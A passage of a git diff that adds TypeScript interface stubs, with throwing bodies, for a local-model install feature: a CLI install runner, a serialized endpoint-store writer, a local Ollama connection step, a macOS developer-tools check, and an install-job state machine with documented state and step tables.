for byte (same answers, same audit entry, + * same 409 for a second install of one id, same environment). + * + * What moves, unchanged in behaviour: + * - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the + * server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place + * the server user can write. test/routes/cli-registry-routes.test.ts imports both from the + * route module, which re-exports them from here. + * - `runInstallCommand()`: `shell: true`, its own process group, output capped, the whole + * group killed on timeout. New: an abort signal that kills the group the same way, so the + * install job's Cancel has something to stop. + * - `forgetResolvedCli()`: after an install, successful or not, every cached lookup of the + * CLI's binaries is dropped, or a pre-install miss is replayed for up to five minutes. + * - The set of ids with an install running. ONE set for both callers + * (`tryBeginCliInstall()`), so the route and the job can never run two installers of one + * CLI over the same prefix. + * + * Rules: + * - The command executed is only ever a STOCK entry's (`stockInstallCommand()` reads the + * compiled `STOCK_CLIS`, never the registry merged with `clis.json`, so an override file + * cannot change what runs). A custom entry's install text is never executed. + * - Who may call it is the caller's rule, not this module's: the route keeps its + * `cliManagementEnabled` gate; the install job runs it only for a harness row of the local + * model catalogue, after the person's consent click on a screen that showed the literal + * command, admin only in multi-user mode, and writes the admin audit entry itself. + */ + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** How long an install command may run before its process group is killed. */ +export const CLI_INSTALL_TIMEOUT_MS = 300_000; + +/** How an install command ended. */ +export interface CliInstallResult { + /** The exit code, `null` when the command was killed or could not be started. */ + code: number | null; + /** stdout and stderr together, capped. */ + output: string; + /** The timeout killed it. */ + timedOut: boolean; + /** The abort signal killed it. */ + aborted: boolean; +} + +export interface RunInstallCommandOptions { + /** Kills the installer's whole process group (SIGTERM, then SIGKILL). */ + signal?: AbortSignal; +} + +/** + * True when `npm install -g` can write to this environment's npm global prefix, or when that + * cannot be told (then nothing is redirected). Moved from cli-registry-routes.ts unchanged. + */ +export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> { + return notImplemented('npmGlobalPrefixWritable', source); +} + +/** + * The environment of an install command: `source` minus every `CODEMAN_*` variable, with + * `NPM_CONFIG_PREFIX` pointed at `$HOME/.local` inside the Compose container or when the + * global prefix is not writable. Moved from cli-registry-routes.ts unchanged. + */ +export function installEnv( + source: NodeJS.ProcessEnv = process.env, + prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true +): NodeJS.ProcessEnv { + return notImplemented('installEnv', source, prefixWritable); +} + +/** Runs one install command to its end. Never throws: a spawn that fails is a result with `code: null`. */ +export async function runInstallCommand( + command: string, + options: RunInstallCommandOptions = {} +): Promise<CliInstallResult> { + return notImplemented('runInstallCommand', command, options); +} + +/** + * The install command of the STOCK CLI `id` for this platform, read from the compiled + * `STOCK_CLIS`. `undefined` for an id that is not a stock CLI or has no command here. + */ +export function stockInstallCommand(id: string): string | undefined { + return notImplemented('stockInstallCommand', id); +} + +/** + * Claims the one install slot of `id`. Returns the function that releases it, or `null` when + * an install of that CLI is already running (the caller answers 409 or waits). + */ +export function tryBeginCliInstall(id: string): (() => void) | null { + return notImplemented('tryBeginCliInstall', id); +} + +/** + * Forgets every cached binary lookup of a CLI: the per-id resolver and every per-binary cache, + * hits and misses alike. Called after anything that may have changed what is on disk. + */ +export function forgetResolvedCli(id: string, binaries: readonly string[]): void { + return notImplemented('forgetResolvedCli', id, binaries); +} diff --git a/src/custom-model-hosts-writer.ts b/src/custom-model-hosts-writer.ts new file mode 100644 index 00000000..ff5fa862 --- /dev/null +++ b/src/custom-model-hosts-writer.ts @@ -0,0 +1,72 @@ +/** + * @fileoverview The serialized writer of `custom-model-hosts.json`, the store of the saved + * custom model endpoints (src/custom-model-hosts.ts). + * + * CONTRACT STAGE: the function below has its final signature and a body that throws; the body + * is written next, and every writer of the file is moved onto it then. + * + * Why it exists: `writeCustomModelHosts()` writes through ONE temp file name per process and + * has no queue, and `readCustomModelHosts()` reads a file that does not parse as an empty + * list. Two overlapping writers (an endpoint route and the 5-minute discovery sweep) can + * leave one body over the tail of a longer one, and the next writer then saves a file that + * holds only its own record: every other endpoint and its API key is gone. The same fault + * `mutateSettingsFile()` ended for `settings.json`. + * + * The shape of `mutateSettingsFile()` (src/web/settings-writer.ts): + * - Serialized: mutations run one at a time on one promise chain. The check a route makes + * (the id is free, the record still exists) runs INSIDE `fn`, in the same step as the write. + * - Atomic: each write goes to a temp file with a random name beside the target and is + * renamed over it. The file is mode 0600 (it holds API keys). + * - Refuses a file it must not trust: only a missing or empty file starts from an empty + * list. A file that cannot be read, does not parse or is not an array is left alone and + * the write rejects with `CustomModelHostsWriteRefusedError`. The message never repeats + * the parser's own text, which can quote an API key. + * + * EVERY writer goes through it: the four endpoint routes of + * src/web/routes/custom-model-routes.ts (create, update, delete, discover-models), the + * discovery sweep `refreshAllCustomModelHosts()`, and the local model's connect step. The one + * direct writer left is config-backup restore, which must work on a file that does not parse. + */ + +import type { CustomModelHost } from './custom-model-hosts.js'; +import type { ApiResponse } from './types.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** A write refused because the existing `custom-model-hosts.json` must not be overwritten. The message is user-facing. */ +export class CustomModelHostsWriteRefusedError extends Error { + constructor(message: string) { + super(message); + this.name = 'CustomModelHostsWriteRefusedError'; + } +} + +/** What a mutation returns: the list to write (absent: write nothing) and what the caller gets back. */ +export interface CustomModelHostsMutation<T> { + /** The whole list to store. Absent: the file is left as it is. */ + hosts?: CustomModelHost[]; + /** Handed back to the caller of `mutateCustomModelHosts()`. */ + result: T; +} + +/** + * Runs one change to the endpoint store. `fn` receives the current list (a copy it may change) + * and returns what to write and what to hand back. Resolves with `result`. A refused or failed + * mutation rejects its own caller only; the chain keeps going. + * + * `configDir` is the folder of the file, as for `readCustomModelHosts()`. Default: the data dir. + */ +export function mutateCustomModelHosts<T>( + fn: (hosts: CustomModelHost[]) => CustomModelHostsMutation<T>, + configDir?: string +): Promise<T> { + return notImplemented('mutateCustomModelHosts', fn, configDir); +} + +/** A refused write answers 409 CONFLICT with the fix; any other failure stays OPERATION_FAILED. Like `settingsWriteErrorResponse()`. */ +export function customModelHostsWriteErrorResponse(err: unknown): ApiResponse<never> { + return notImplemented('customModelHostsWriteErrorResponse', err); +} diff --git a/src/local-model/connect.ts b/src/local-model/connect.ts new file mode 100644 index 00000000..c98e0e69 --- /dev/null +++ b/src/local-model/connect.ts @@ -0,0 +1,124 @@ +/** + * @fileoverview Connecting the installed local model to Codeman, and undoing it: the endpoint + * record, the settings flag, and the checks around them. + * + * CONTRACT STAGE: the two constants are final. Every function below has its final signature + * and a body that throws; the bodies are written next. + * + * These are the ONLY two writes of the local model outside its own folder: + * 1. One record in `custom-model-hosts.json`, through `mutateCustomModelHosts()`: + * `{ id: 'local-ollama', label: 'This Mac', baseUrl: 'http://127.0.0.1:<port>', + * authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, + * defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` + * before it is written. No `apiKey`. `defaultContextLength` is what reaches the coding + * agent as its context limit, because the runtime's model listing states none. + * 2. `customModelEndpointsEnabled: true` in `settings.json`, through `mutateSettingsFile()`. + * The value it had before is returned and kept in the state file. + * + * Rules: + * - The id is reserved. A record with it that this feature did not write is never + * overwritten: the connect step fails with `endpoint-id-taken`. + * - Both writes are idempotent, so a resumed job writes them again. + * - Undoing removes our record, and switches the flag off again only when this feature + * switched it on AND no other endpoint is saved. + * - The model's digest is compared again before a session starts and at boot + * (`compareModelDigest()`): a model that changed under the same name is not launched. + */ + +import type { CustomModelHost } from '../custom-model-hosts.js'; +import type { LocalModelErrorCode } from '../types.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** The id of the endpoint record this feature writes. Reserved: nobody else may use it. */ +export const LOCAL_MODEL_ENDPOINT_ID = 'local-ollama'; +/** The label of that record, what the Run menu shows in brackets. */ +export const LOCAL_MODEL_ENDPOINT_LABEL = 'This Mac'; + +/** What the endpoint record is built from. */ +export interface LocalEndpointInput { + /** The runtime's loopback port. */ + port: number; + /** The model id exactly as the runtime's `/v1/models` lists it. */ + modelId: string; + /** The chosen context length in tokens. */ + context: number; +} + +/** The endpoint record of the file header. Pure; the caller validates it with `CustomModelHostSchema`. */ +export function buildLocalEndpointRecord(input: LocalEndpointInput): CustomModelHost { + return notImplemented('buildLocalEndpointRecord', input); +} + +export interface ConnectLocalModelInput extends LocalEndpointInput { + /** + * True when the state file already records a connection of ours: an existing record with + * our id is then ours and is replaced. False: such a record is somebody else's. + */ + ours: boolean; + /** + * The flag's value before this feature first switched it on, when the state file already + * holds one. It is handed back unchanged, so a second connect cannot overwrite it with `true`. + */ + flagWasEnabled?: boolean; +} + +/** How the connect step ended. */ +export type ConnectResult = + | { + ok: true; + /** The value `customModelEndpointsEnabled` had before this feature switched it on. */ + flagWasEnabled: boolean; + } + | { ok: false; code: Extract<LocalModelErrorCode, 'endpoint-id-taken' | 'connect-failed'>; detail?: string }; + +/** Writes the record and the flag. Idempotent. Never throws: a refused write is `connect-failed` with its message as `detail`. */ +export async function connectLocalModel(input: ConnectLocalModelInput): Promise<ConnectResult> { + return notImplemented('connectLocalModel', input); +} + +/** Moves our record to another port (the answer to "Use another port" once connected). A missing record is not an error. */ +export async function moveLocalEndpoint(port: number): Promise<void> { + return notImplemented('moveLocalEndpoint', port); +} + +/** + * Removes our record, and restores the settings flag when this feature switched it on + * (`flagWasEnabled` is false) and no other endpoint is left. Idempotent. + */ +export async function disconnectLocalModel(input: { flagWasEnabled: boolean }): Promise<void> { + return notImplemented('disconnectLocalModel', input); +} + +/** Whether `id` is the reserved endpoint id. For the endpoint routes and the discovery sweep, which leave that record alone. */ +export function isLocalModelEndpointId(id: string): boolean { + return notImplemented('isLocalModelEndpointId', id); +} + +/** + * The names of the live sessions that use the endpoint `endpointId`, in the order given. + * Pure. What `DELETE /api/local-model` answers its 409 with. + */ +export function sessionNamesUsingEndpoint( + sessions: Iterable<{ name: string; customModel?: { endpointId: string } }>, + endpointId: string = LOCAL_MODEL_ENDPOINT_ID +): string[] { + return notImplemented('sessionNamesUsingEndpoint', sessions, endpointId); +} + +/** + * Compares the digest stored at install time with the one the runtime reports now. Pure. + * - `same`: launch. + * - `changed`: refuse (`model-changed`): the name now stands for other weights or another template. + * - `unknown`: one of the two is absent (the runtime does not answer, the model is gone). + * The caller refuses as well, with the reason it knows. + */ +export function compareModelDigest( + stored: string | undefined, + current: string | undefined +): 'same' | 'changed' | 'unknown' { + return notImplemented('compareModelDigest', stored, current); +} diff --git a/src/local-model/developer-tools.ts b/src/local-model/developer-tools.ts new file mode 100644 index 00000000..65e50c63 --- /dev/null +++ b/src/local-model/developer-tools.ts @@ -0,0 +1,42 @@ +/** + * @fileoverview Whether this Mac has the developer tools a coding agent calls (git, Python). + * + * CONTRACT STAGE: the function below has its final signature and a body that throws; the body + * is written next. + * + * Why it exists: on a Mac without Xcode or the Command Line Tools, `git` and `python3` are + * stubs that open macOS's "install the command line developer tools" window. A coding agent + * runs both, so the install window says one honest sentence when the tools are missing + * (`LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing`). + * + * Rules: + * - The ONLY command ever run is `/usr/bin/xcode-select -p`, bounded by a timeout. Never + * `git`, `python3`, `xcrun` or anything else that would open that window itself. + * - macOS only. Anywhere else, and when the command does not answer in time, the answer is + * `unknown`, and nothing is said. + * - Never throws. The answer is cached for a short while, so a window that polls once a + * second does not spawn once a second. + */ + +import type { LocalModelDeveloperTools } from '../types.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +/** How long `/usr/bin/xcode-select -p` may take. */ +export const DEVELOPER_TOOLS_TIMEOUT_MS = 2_000; + +/** What the check calls. Each member defaults to the real thing; a test injects its own. */ +export interface DeveloperToolsDeps { + /** Default `process.platform`. */ + platform: string; + /** Runs `file` with `args` and resolves with its exit code (`null` when it timed out or could not be started). */ + run: (file: string, args: readonly string[], timeoutMs: number) => Promise<number | null>; +} + +/** `present` when `/usr/bin/xcode-select -p` exits 0, `missing` when it exits with anything else, `unknown` otherwise. */ +export async function checkDeveloperTools(deps: Partial<DeveloperToolsDeps> = {}): Promise<LocalModelDeveloperTools> { + return notImplemented('checkDeveloperTools', deps); +} diff --git a/src/local-model/install-job.ts b/src/local-model/install-job.ts new file mode 100644 index 00000000..44098e9b --- /dev/null +++ b/src/local-model/install-job.ts @@ -0,0 +1,497 @@ +/** + * @fileoverview The local model install job: its state table, the pure reducer over it, the + * pure view of it, and the service that drives it. + * + * CONTRACT STAGE: the three tables (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, + * `INSTALL_TRANSITIONS`) are final and are what the reducer's table-driven test iterates. + * Every function below has its final signature and a body that throws; the bodies are written + * next. + * + * ONE job at a time. The job is five steps in a fixed order (`LOCAL_MODEL_INSTALL_STEPS`: + * runtime, model, verify, agent, connect; `agent` is left out when the coding agent is + * installed). Its state is one of five (`LocalModelInstallState`), stored in the state file. + * + * The state table. "On disk" names what lies under the local model folder; the two writes + * outside it belong to the `connect` step. + * + * | State | On disk | A server restart | Cancel | Allowed next actions | + * |--------------|-------------------------------------------|-----------------------------|------------------------|---------------------------------| + * | `idle` | nothing, or leftovers a Remove could not | stays `idle` | refused (409) | install | + * | | delete (never read back) | | | | + * | `installing` | what the finished steps wrote, plus what | becomes `paused` at the | becomes `paused` at | cancel | + * | | the current step has written so far | same step; nothing resumes | the same step | | + * | | (see the step table) | without a click | | | + * | `paused` | as `installing` at that step, nothing in | stays `paused` | refused (409) | resume, install (another | + * | | flight | | | choice), remove | + * | `failed` | as `installing` at that step, nothing in | stays `failed`, same error | refused (409) | resume (try again), install | + * | | flight | | | (another choice), remove | + * | `installed` | the runtime, the private home, the model | stays `installed`; the | refused (409) | start a session, start or stop | + * | | | runtime is started again | | the runtime, remove | + * | | | when it was not stopped | | | + * + * The step table. Every step is IDEMPOTENT, so Resume and "Try again" re-enter the step the + * job stopped in; they first make sure the runtime runs when the step needs it. + * + * | Step | Adds to disk | Cancel | Resume | + * |-----------|---------------------------------------|------------------------------------------|------------------------------------------------| + * | `runtime` | the archive's partial file, then the | aborts the download, the partial file | continues the partial file with a Range | + * | | unpacked runtime, then the private | stays | request, or skips what is already unpacked | + * | | home once the runtime started | | | + * | `model` | the model store: partial blobs, then | aborts the pull request, which stops the | pulls again; the runtime continues its partial | + * | | the model | download; the partial blobs stay | blobs | + * | `verify` | nothing (the model is loaded into | aborts the request in flight | runs the three checks again from the first | + * | | memory) | | | + * | `agent` | whatever the coding agent's own | kills the installer's process group | looks for the binary first and runs the | + * | | installer writes, outside our folder; | | installer only when it is still missing | + * | | never removed by us | | | + * | `connect` | our endpoint record and the settings | honoured before the first write; once | writes both again | + * | | flag: the two writes outside our | the writes began they finish and the job | | + * | | folder | ends `installed` | | + * + * How the memory budget gets measured before a model is downloaded (ONE consent, bound to the + * size shown): the person confirms `Candidate.installBytes` once. The `runtime` step then + * gets and starts the runtime, reads the device total from its log and judges the choice + * again with it (`modelFitsBudget()`; `recommend()` with the same options names the next + * model). When the chosen model at the chosen context no longer fits, the job fails right + * there with `does-not-fit` and the next model that fits, BEFORE the model download starts. When it fits, the job goes on without a second question: the sizes that were + * confirmed did not change. From then on the GET reports `budgetSource: 'measured'`. + * + * Rules: + * - `reduceInstallJob()` is PURE and total: an event the transition table does not list for + * the current state is refused by returning the SAME object, which the service answers + * with 409 `wrong-state`. + * - The reducer moves the state, the step, the error and the progress. The FACTS a step + * learns (the port and pid, the measured total, the pull's total, the digest, what the + * runtime loaded, the previous settings flag) are written by the service through + * `mutateLocalModelState()` and never change the state. + * - A job read as `installing` at boot was interrupted by the restart: the service applies + * the event `restart` before anything else, so it is `paused` and waits for a click. + * - A new install from `paused` or `failed` REPLACES the job. When it names another model, + * what the old job left of its model is deleted from the store first. + * - Install is checked before anything is downloaded: admin only in multi-user mode; the + * model, the context and the coding agent must be a row the current recommendation offers; + * the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must be the + * server's own total. + * - No CLI id is compared with a literal here: the coding agent is a catalogue row plus a + * `HarnessFact`. + */ + +import type { + HardwareFacts, + HarnessFact, + LocalModelAction, + LocalModelCatalog, + LocalModelConflict, + LocalModelDeveloperTools, + LocalModelErrorCode, + LocalModelInstallRequest, + LocalModelInstallState, + LocalModelInstallStep, + LocalModelInstallView, + LocalModelRemoveRequest, + LocalModelResumeRequest, + LocalModelRuntimePin, + LocalModelRuntimeRequest, + LocalModelStateFile, + Recommendation, + RecommendOptions, +} from '../types.js'; +import type { CliInstallResult, RunInstallCommandOptions } from '../cli-install-runner.js'; +import type { ConnectLocalModelInput, ConnectResult } from './connect.js'; +import type { OllamaTarget, PullOptions, PullResult, VerifyResult } from './ollama-client.js'; +import type { LocalModelPaths } from './paths.js'; +import type { + ChooseRuntimePortOptions, + RemoveLocalModelFilesOptions, + RuntimeInstallOptions, + RuntimeInstallResult, + RuntimeSupervisor, +} from './runtime.js'; + +/** Marks a body the contract stage left unwritten. */ +function notImplemented(what: string, ..._args: unknown[]): never { + throw new Error(`${what} is not implemented yet`); +} + +// ---------- The state table ---------- + +/** One row of the state table. */ +export interface InstallStateRow { + /** What lies on disk in this state, in words. */ + onDisk: string; + /** The state a server restart turns this one into. */ + afterRestart: LocalModelInstallState; + /** What the restart does, in words. */ + restart: string; + /** The state Cancel turns this one into, or `null` when Cancel is refused (409 `wrong-state`). */ + afterCancel: LocalModelInstallState | null; + /** What Cancel does, in words. */ + cancel: string; + /** + * Every action a client may take in this state. The view's `actions` is this list narrowed + * by what is live (`allowedActions()`): `start` only while the runtime is down, `stop` and + * `start-session` only while it runs, `start-session` only when nothing blocks a session. + */ + actions: readonly LocalModelAction[]; +} + +/** The state table of the file header, as data. */ +export const INSTALL_STATE_TABLE: Readonly<Record<LocalModelInstallState, InstallStateRow>> = { + idle: { + onDisk: + 'Nothing of ours. The local model folder is absent, or holds leftovers an earlier Remove could not delete; they are never read back.', + afterRestart: 'idle', + restart: 'Nothing happens.', + afterCancel: null, + cancel: 'Refused: no job is running.', + actions: ['install'], + }, + installing: { + onDisk: + 'What the finished steps wrote, plus what the current step has written so far (INSTALL_STEP_TABLE). The state file names the model, the coding agent, the context and the step.', + afterRestart: 'paused', + restart: + 'The job comes back paused at the same step. Nothing is downloaded, started or installed until the person presses Resume.', + afterCancel: 'paused', + cancel: 'The step in flight is interrupted the way its step row says, and the job is paused at that step.', + actions: ['cancel'], + }, + paused: { + onDisk: 'As installing at that step, with nothing in flight.', + afterRestart: 'paused', + restart: 'Stays paused.', + afterCancel: null, + cancel: 'Refused: no job is running.', + actions: ['resume', 'install', 'remove'], + }, + failed: { + onDisk: 'As installing at that step, with nothing in flight.', + afterRestart: 'failed', + restart: 'Stays failed, with the same error.', + afterCancel: null, + cancel: 'Refused: no job is running.', + actions: ['resume', 'install', 'remove'], + }, + installed: { + onDisk: + 'The runtime, its private home and the model. The state file holds the port, the pid, the digest, what the runtime loaded and the previous settings flag. Outside the folder: our endpoint record and the settings flag.', + afterRestart: 'installed', + restart: + 'Stays installed. The runtime is started again unless the person had stopped it, and the digest is read again: a changed digest or a port taken by another program shows as an error on the view and blocks a session, the state stays installed.', + afterCancel: null, + cancel: 'Refused: no job is running.', + actions: ['start-session', 'start', 'stop', 'remove'], + }, +}; + +// ---------- The step table ---------- + +/** One row of the step table. */ +export interface InstallStepRow { + /** What the step does, in words. */ + does: string; + /** What it adds to disk (possibly partly, when it is interrupted). */ + onDisk: string; + /** How Cancel interrupts it. */ + cancel: string; + /** What Resume, and "Try again" after a failure, does: every step is idempotent and is entered again. */ + resume: string; + /** Whether the step reports byte progress (`LocalModelProgress`). */ + progress: boolean; + /** Whether the runtime must run before the step is entered (the service starts it first, idempotently). */ + needsRuntime: boolean; + /** Every error code the step can fail with. `internal` and `disk-full` can come from any step that writes. */ + errors: readonly LocalModelErrorCode[]; +} + +/** The step table of the file header, as data. */ +export const INSTALL_STEP_TABLE: Readonly<Record<LocalModelInstallStep, InstallStepRow>> = { + runtime: { + does: 'Downloads the pinned runtime archive unless it is unpacked already, compares its sha256, unpacks it, chooses the port once, starts the runtime, reads the measured memory budget from its log and judges the chosen model against it.', + onDisk: + 'runtime/ollama-<version>.tgz.partial while it downloads, runtime/ollama-<version>/ once unpacked, home/ once the runtime started.', + cancel: 'Aborts the download. The partial file stays. A runtime that already runs keeps running.', + resume: + 'Continues the partial file with a Range request, or skips the download when the folder is unpacked. Starting the runtime again is a no-op when it runs.', + progress: true, + needsRuntime: false, + errors: [ + 'runtime-download-failed', + 'runtime-damaged', + 'runtime-unpack-failed', + 'runtime-start-failed', + 'port-in-use', + 'does-not-fit', + 'disk-full', + 'internal', + ], + }, + model: { + does: 'Pulls the model through the runtime, reading the progress stream line by line.', + onDisk: 'models/ with partial blobs, then the finished model.', + cancel: 'Aborts the pull request, which stops the download. The partial blobs stay.', + resume: 'Pulls again. The runtime continues its partial blobs.', + progress: true, + needsRuntime: true, + errors: ['pull-failed', 'model-not-found', 'runtime-start-failed', 'port-in-use', 'disk-full', 'internal'], + }, + verify: { + does: 'Loads the model with one tiny chat, checks that the runtime put all of it on the GPU at the chosen context, runs one tool probe, and stores the digest the runtime reports.', + onDisk: 'Nothing new. The model is loaded into memory.', + cancel: 'Aborts the request in flight.', + resume: 'Runs the three checks again from the first.', + progress: false, + needsRuntime: true, + errors: [ + 'load-failed', + 'does-not-fit', + 'context-not-applied', + 'no-tool-call', + 'probe-unfinished', + 'runtime-start-failed', + 'port-in-use', + 'internal', + ], + }, + agent: { + does: 'Installs the coding agent with its stock install command through the shared CLI install runner, writes the admin audit entry, forgets the cached lookups of its binary and looks for it again.', + onDisk: + 'Whatever the coding agent installer writes, outside the local model folder (its own folder in the home directory). Never removed by us.', + cancel: 'Kills the whole process group of the installer.', + resume: 'Looks for the binary first and runs the installer only when it is still missing.', + progress: false, + needsRuntime: false, + errors: ['harness-failed', 'internal'], + }, + connect: { + does: 'Writes the endpoint record and switches the custom model endpoints setting on, keeping its previous value in the state file.', + onDisk: + 'Our record in custom-model-hosts.json and the flag in settings.json: the two writes outside the local model folder.', + cancel: + 'Honoured before the first write. Once the writes began they finish and the job ends installed, so the pair is never left half done.', + resume: 'Writes both again. Both are idempotent.', + progress: false, + needsRuntime: true, + errors: ['endpoint-id-taken', 'connect-failed', 'internal'], + }, +}; + +// ---------- Events and transitions ---------- + +/** What moves the job. */ +export type InstallJobEvent = + /** A new job: `POST /api/local-model/install` passed its checks. From `idle`, `paused` or `failed`. */ + | { + type: 'install'; + model: { id: string; label: string; context: number }; + cli: { id: string; label: string }; + /** The steps of this job in order (`jobSteps()`). */ + steps: LocalModelInstallStep[]; + } + /** A download moved. Changes `progress` only. */ + | { type: 'progress'; completedBytes: number; totalBytes: number } + /** The current step finished: the next step of `steps`, or `installed` after the last. Clears `progress`. */ + | { type: 'step-done' } + /** The current step failed. */ + | { + type: 'fail'; + code: LocalModelErrorCode; + vars?: Record<string, string>; + detail?: string; + nextModelId?: string; + } + /** `POST /api/local-model/cancel`. */ + | { type: 'cancel' } + /** The server started and found this state in the file. */ + | { type: 'restart' } + /** `POST /api/local-model/resume`: the same step again. Clears `error`. */ + | { type: 'resume' } + /** `DELETE /api/local-model` finished: back to `idle`, every other member dropped. */ + | { type: 'remove' }; + +export type InstallJobEventType = InstallJobEvent['type']; + +/** + * Which state an event leads to, by current state. A pair that is not listed is REFUSED: the + * reducer returns the object it was given. One entry needs a word: `step-done` in + * `installing` leads to `installing` at the next step, and to `installed` when the step that + * finished was the last of the job's `steps`. + */ +export const INSTALL_TRANSITIONS: Readonly< + Record<LocalModelInstallState, Readonly<Partial<Record<InstallJobEventType, LocalModelInstallState>>>> +> = { + idle: { install: 'installing', restart: 'idle', remove: 'idle' }, + installing: { + progress: 'installing', + 'step-done': 'installing', + fail: 'failed', + cancel: 'paused', + restart: 'paused', + }, + paused: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'paused' }, + failed: { resume: 'installing', install: 'installing', remove: 'idle', restart: 'failed' }, + installed: { remove: 'idle', restart: 'installed' }, +}; + +/** The steps a job runs, in order: all of `LOCAL_MODEL_INSTALL_STEPS`, without `agent` when the coding agent is installed. Pure. */ +export function jobSteps(input: { agentInstalled: boolean }): LocalModelInstallStep[] { + return notImplemented('jobSteps', input); +} + +/** + * The state file after `event`. Pure: no IO, no clock (`updatedAt` is the state store's + * business). Refuses an event the transition table does not list for the current state by + * returning `current` itself. Keeps `runtime` and `connection` across a new install, because + * what they record is still on disk; `remove` drops everything. + */ +export function reduceInstallJob(current: LocalModelStateFile, event: InstallJobEvent): LocalModelStateFile { + return notImplemented('reduceInstallJob', current, event); +} + +// ---------- The view ---------- + +/** What is live and not in the state file, for the view. Gathered by the service on every GET. */ +export interface InstallLiveFacts { + /** The runtime child is alive (`RuntimeStatus.running`). */ + running: boolean; + /** The supervisor stopped restarting the runtime (`RuntimeStatus.gaveUp`): the error `runtime-stopped` in state `installed`. */ + gaveUp: boolean; + /** Another program holds the stored port: the error `port-in-use` in state `installed`. */ + portInUse: boolean; + /** The stored digest against the runtime's current one (`compareModelDigest()`). `changed` is the error `model-changed`. Absent while not installed. */ + digest?: 'same' | 'changed' | 'unknown'; + developerTools: LocalModelDeveloperTools; + /** The pinned runtime is unpacked on disk. */ + runtimeInstalled: boolean; + /** The current download speed. Not stored, so absent after a restart. */ + bytesPerSecond?: number; + /** For an error whose next step is `next-model`: the model to offer, from the current recommendation. */ + nextModel?: { modelId: string; modelLabel: string }; + pin: LocalModelRuntimePin; + /** `LocalModelPaths.root`, for the "where it goes" line. */ + folder: string; +} + +/** The actions the server accepts right now: the state row's list narrowed by what is live. Pure. */ +export function allowedActions(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelAction[] { + return notImplemented('allowedActions', state, live); +} + +/** The `install` object of the GET. Pure: every size text comes from `formatGb()`, every sentence from `LOCAL_MODEL_INSTALL_LABELS`. */ +export function buildInstallView(state: LocalModelStateFile, live: InstallLiveFacts): LocalModelInstallView { + return notImplemented('buildInstallView', state, live); +} + +// ---------- The service ---------- + +/** Who asked, for the admin audit entry of the coding agent install. */ +export interface LocalModelActor { + username: string; + ip?: string; +} + +/** How a verb ended: the view after it, a 400 with its message, or a 409 with its conflict. */ +export type LocalModelVerbResult = + | { ok: true; view: LocalModelInstallView } + | { ok: false; status: 400; message: string } + | { ok: false; status: 409; conflict: LocalModelConflict }; + +/** + * Everything the service calls, so a test spawns, fetches and downloads nothing. Each member + * defaults to the real module. The members named like a function of another module have + * exactly that function's signature. + */ +export interface LocalModelServiceDeps { + readHardware: () => Promise<HardwareFacts>; + getCatalog: () => LocalModelCatalog; + buildHarnessFacts: (catalog: LocalModelCatalog) => Promise<HarnessFact[]>; + recommend: ( + hw: HardwareFacts, + catalog: LocalModelCatalog, + harnessFacts: readonly HarnessFact[], + options?: RecommendOptions + ) => Recommendation; + /** `modelFitsBudget()` of src/local-model/recommend.ts: the judgement of the `runtime` step, with the measured budget. */ + modelFitsBudget: ( + hw: HardwareFacts, + catalog: LocalModelCatalog, + modelId: string, + context: number, + options?: RecommendOptions + ) => boolean; + // src/local-model/runtime.ts + isRuntimeInstalled: (pin?: LocalModelRuntimePin, paths?: LocalModelPaths) => Promise<boolean>; + ensureRuntimeInstalled: (options?: RuntimeInstallOptions) => Promise<RuntimeInstallResult>; + chooseRuntimePort: (options?: ChooseRuntimePortOptions) => Promise<number | undefined>; + removeLocalModelFiles: (options: RemoveLocalModelFilesOptions) => Promise<void>; + supervisor: RuntimeSupervisor; + // src/local-model/ollama-client.ts + pullModel: (target: OllamaTarget, modelId: string, options?: PullOptions) => Promise<PullResult>; + verifyModel: (target: OllamaTarget, modelId: string, context: number, signal?: AbortSignal) => Promise<VerifyResult>; + readModelDigest: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise<string | undefined>; + listOpenAiModels: (target: OllamaTarget, signal?: AbortSignal) => Promise<string[]>; + deleteModel: (target: OllamaTarget, modelId: string, signal?: AbortSignal) => Promise<boolean>; + // src/local-model/developer-tools.ts + checkDeveloperTools: () => Promise<LocalModelDeveloperTools>; + // src/cli-install-runner.ts + stockInstallCommand: (id: string) => string | undefined; + tryBeginCliInstall: (id: string) => (() => void) | null; + runInstallCommand: (command: string, options?: RunInstallCommandOptions) => Promise<CliInstallResult>; + /** Forgets the cached lookups of the CLI's binaries, then says whether its binary is found now. */ + recheckCliInstalled: (cli: string) => Promise<boolean>; + /** Writes one admin audit line (`appendAdminAudit()`). */ + audit: (entry: { admin: string; action: string; target: string; ip?: string; detail?: unknown }) => Promise<void>; + // src/local-model/connect.ts + connectLocalModel: (input: ConnectLocalModelInput) => Promise<ConnectResult>; + moveLocalEndpoint: (port: number) => Promise<void>; + disconnectLocalModel: (input: { flagWasEnabled: boolean }) => Promise<void>; + // src/local-model/state-store.ts + readState: () => Promise<LocalModelStateFile>; + mutateState: ( + fn: (current: LocalModelStateFile) => LocalModelStateFile | undefined + ) => Promise<{ before: LocalModelStateFile; after: LocalModelStateFile | undefined }>; + pin: LocalModelRuntimePin; + paths: LocalModelPaths; +} + +/** The install as the routes and the server see it. One per process. */ +export interface LocalModelService { + /** The `install` object of the GET. Never throws. */ + view(): Promise<LocalModelInstallView>; + /** What the GET passes to `recommend()`: the stored measured total and the runtime download that is still needed. */ + recommendOptions(): Promise<RecommendOptions>; + /** `POST /api/local-model/install`. Answers once the job is STARTED; the job 